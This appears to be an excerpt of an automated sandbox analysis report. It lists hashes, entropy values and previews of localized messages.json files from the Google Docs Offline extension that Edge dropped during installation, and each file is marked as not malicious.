Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
